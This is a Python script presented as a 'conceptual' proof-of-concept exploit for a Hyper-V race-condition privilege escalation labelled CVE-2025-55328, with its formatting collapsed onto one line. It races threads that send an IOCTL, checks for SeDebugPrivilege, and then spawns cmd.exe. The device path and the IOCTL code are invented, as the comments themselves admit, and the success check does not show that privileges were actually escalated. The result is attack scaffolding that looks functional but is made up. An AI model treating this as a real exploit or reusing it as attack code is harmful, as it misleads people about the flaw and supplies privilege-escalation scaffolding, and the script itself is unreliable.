CVE-2025-55328

# CVE-2025-55328 - Windows Hyper-V Race Condition PoC (Conceptual) # This is a conceptual PoC demonstrating the exploitation approach for the race condition # in Windows Hyper-V shared resource synchronization. import ctypes import threading import time import os import subprocess class HyperVRaceCondition: """ PoC for CVE-2025-55328: Hyper-V Race Condition Privilege Escalation Exploits improper synchronization of shared resources in Hyper-V. """ def __init__(self): self.shellcode_address = None self.virtual_device_handle = None self.race_won = threading.Event() self.thread_count = 8 # Number of racing threads def check_privilege(self): """Check current privilege level.""" try: output = subprocess.check_output( 'whoami /priv', shell=True, stderr=subprocess.STDOUT ).decode('utf-8', errors='ignore') return 'SeDebugPrivilege' in output except Exception: return False def trigger_shared_resource_access(self, thread_id): """ Trigger concurrent access to Hyper-V shared resource. Multiple threads race to exploit the TOCTOU window. """ while not self.race_won.is_set(): try: # Step 1: Open handle to Hyper-V virtual device # The race condition exists in the handling of VSP (Virtualization Service Provider) requests handle = ctypes.windll.kernel32.CreateFileW( "\\\\.\\HyperVDevice", 0xC0000000, # GENERIC_READ | GENERIC_WRITE 0x00000003, # FILE_SHARE_READ | FILE_SHARE_WRITE None, 0x00000003, # OPEN_EXISTING 0x00000080, # FILE_ATTRIBUTE_NORMAL None ) if handle != -1 and handle != 0xFFFFFFFF: # Step 2: Send IOCTL to trigger the vulnerable code path # The vulnerable path involves concurrent modification of # internal Hyper-V partition management structures ioctl_code = 0x222000 # Hypothetical vulnerable IOCTL input_buffer = b"\x00" * 256 output_buffer = (ctypes.c_ubyte * 256)() bytes_returned = ctypes.c_ulong(0) # Race: Multiple threads call DeviceIoControl simultaneously ctypes.windll.kernel32.DeviceIoControl( handle, ioctl_code, input_buffer, len(input_buffer), output_buffer, len(output_buffer), ctypes.byref(bytes_returned), None ) # Step 3: Check if race condition was triggered if self.check_privilege(): self.race_won.set() print(f"[+] Thread {thread_id}: Race condition won! Privileges elevated.") return True ctypes.windll.kernel32.CloseHandle(handle) except Exception: pass return False def exploit(self): """Main exploit routine.""" print("[*] CVE-2025-55328 - Hyper-V Race Condition Privilege Escalation") print("[*] Current user:", os.environ.get('USERNAME', 'unknown')) if self.check_privilege(): print("[+] Already running with elevated privileges.") return True print(f"[*] Starting {self.thread_count} racing threads...") threads = [] for i in range(self.thread_count): t = threading.Thread(target=self.trigger_shared_resource_access, args=(i,)) t.daemon = True threads.append(t) t.start() # Wait for race to complete (with timeout) self.race_won.wait(timeout=120) if self.race_won.is_set(): print("[+] Exploitation successful! Spawning elevated shell...") subprocess.Popen('cmd.exe', shell=True) return True else: print("[-] Race condition not triggered within timeout. Retry may be needed.") return False if __name__ == "__main__": exploit = HyperVRaceCondition() exploit.exploit() # Note: This is a conceptual PoC. Actual exploitation requires precise # knowledge of the specific Hyper-V internal structures and IOCTL codes # affected by the race condition. Microsoft has released patches to # properly synchronize the affected shared resources.

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